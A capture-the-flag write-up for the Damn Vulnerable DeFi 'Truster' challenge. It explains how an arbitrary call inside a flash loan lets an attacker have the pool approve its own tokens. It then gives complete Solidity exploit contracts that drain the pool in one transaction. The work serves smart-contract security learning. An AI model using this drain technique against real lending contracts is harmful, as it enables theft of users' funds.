Challenge #3 - Truster#
In order to systematically learn Solidity and Foundry, I rewrote the solution to DamnVulnerableDeFi based on the Foundry testing framework. Welcome to discuss and build together~🎉
Contract#
- TrusterLenderPool: Provides flash loan functionality with 1 million DVT tokens in the pool
Scripts#
- Deploy DamnValuableToken and TrusterLenderPool contracts
- Transfer 1 million DVT tokens to the pool
- Execute the attack script
- Expect all 1 million tokens to be owned by the player account and the pool balance to be emptied
Solution#
In the flashLoan function of the pool, the current token balance balanceBefore needs to be calculated first, then the tokens are transferred to the borrower, and then the given target.functionCall is executed. Finally, the current balance is verified against balanceBefore.
Unlike previous flash loans, the pool here does not inherit IERC3156FlashLender, but completes the callback function by calling the target and calldata passed in.
Therefore, the main attack direction is the target.functionCall, which includes:
- Approve the specified amount of tokens to the attack contract
- Execute the repay process
After executing the functionCall, use the transfer method to transfer the tokens out of the pool. The overall process is shown in the following diagram:
According to the requirements of the challenge, try to complete the transaction in one transaction. To do this, a contract is needed to perform the flashloan+approve+transfer operations.
-
It includes two contracts: TmpAttacker and Attacker. Attacker executes the flash loan, but because the transaction is completed in one transaction (only contract deployment), the current contract address cannot be obtained. Therefore, another contract, TmpAttacker, needs to be created.
-
When deploying the Attacker contract, it will call pool.flashLoan. At this time, the amount is 0, just to perform the approve operation and approve TOKENS_IN_POOL amount of tokens to TmpAttacker.
-
Then call TmpAttacker.withdraw to transfer the tokens to the player account and complete the attack.
The overall code is as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/truster/TrusterLenderPool.sol";
import "../../src/DamnValuableToken.sol";
contract TmpAttacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
address player;
address pool;
DamnValuableToken token;
constructor(address _player,address _token, address _pool){
player = _player;
pool = _pool;
token = DamnValuableToken(_token);
}
function withdraw() external{
token.transferFrom(pool, player, TOKENS_IN_POOL);
}
}
contract Attacker {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
constructor(address _pool, address _token){
TmpAttacker attacker = new TmpAttacker(msg.sender, _token,_pool);
TrusterLenderPool pool = TrusterLenderPool(_pool);
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
TOKENS_IN_POOL
);
pool.flashLoan(0, address(attacker), _token, data);
attacker.withdraw();
}
}